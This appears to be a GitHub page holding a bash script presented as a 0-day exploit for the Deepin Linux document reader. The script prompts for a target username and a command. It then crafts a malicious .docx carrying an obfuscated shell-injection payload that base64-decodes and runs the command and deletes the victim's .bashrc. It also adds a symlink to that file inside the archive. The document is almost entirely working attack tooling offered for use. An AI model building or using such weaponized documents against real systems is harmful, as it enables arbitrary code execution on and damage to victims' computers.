-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathdeepin-reader_exploit.sh
79 lines (57 loc) · 2.02 KB
/
deepin-reader_exploit.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/bin/bash
myBanner(){
echo "
╔╦╗┌─┐┌─┐┌─┐┬┌┐┌ ╦═╗┌─┐┌─┐┌┬┐┌─┐┬─┐
║║├┤ ├┤ ├─┘││││───╠╦╝├┤ ├─┤ ││├┤ ├┬┘
═╩╝└─┘└─┘┴ ┴┘└┘ ╩╚═└─┘┴ ┴─┴┘└─┘┴└─
╦═╗╔═╗╔═╗ ╔═╗─┐ ┬┌─┐┬ ┌─┐┬┌┬┐
╠╦╝║ ║╣ ║╣ ┌┴┬┘├─┘│ │ ││ │
╩╚═╚═╝╚═╝ ╚═╝┴ └─┴ ┴─┘└─┘┴ ┴
0-day
[Affected Operating System: Deepin Linux]
-by Febin (@febin_nj)
"
}
checkPandoc(){
if [ $(which pandoc) ]
then
echo "[+] Pandoc is installed!"
else
echo "[-] Pandoc is not installed! Install pandoc to run this exploit.."
exit
fi
}
mainProgram(){
printf "
[ This Exploit will craft a malicious document (.docx) from the specified TEXT file and store the malicious docx under output/ directory ]
"
mkdir output 2>/dev/null
printf " [>] Path to your TEXT file (default = ./sample.txt): "
read html_file
html_file=${html_file:-./sample.txt}
printf " [>] Enter the target username: "
read username
printf " [>] Enter the oneliner command to execute on target: "
read cmd
if [ -e "$html_file" ]
then
cp "$html_file" out.html
else
echo "[-] The specified txt file doesn't exist!"
exit
fi
b64cmd=$(echo "$cmd"|base64)
payload="<p>/dev/null;\${IFS}c\l\e\a\r;echo\${IFS}${b64cmd}|b\a\s\e\${NULL}64\${IFS}-d|b\${NULL}a\s\h;r\m\${IFS}/home/${username}/.b\a\s\h\r\${NULL}c;e\x\i\t #</p>"
echo "${payload}$(printf '\n') $(cat out.html)" > out.html
pandoc out.html -o output/mal.docx
#pandoc output/mal.docx -o output/mal.html
rm -rf out.html
mkdir word 2>/dev/null
ln -s /home/${username}/.bashrc word/temp.html
zip -u -y output/mal.docx word/temp.html >/dev/null
rm -rf word/
echo "[+] Malicious document is written to: $(realpath output/mal.docx)"
}
myBanner
checkPandoc
mainProgram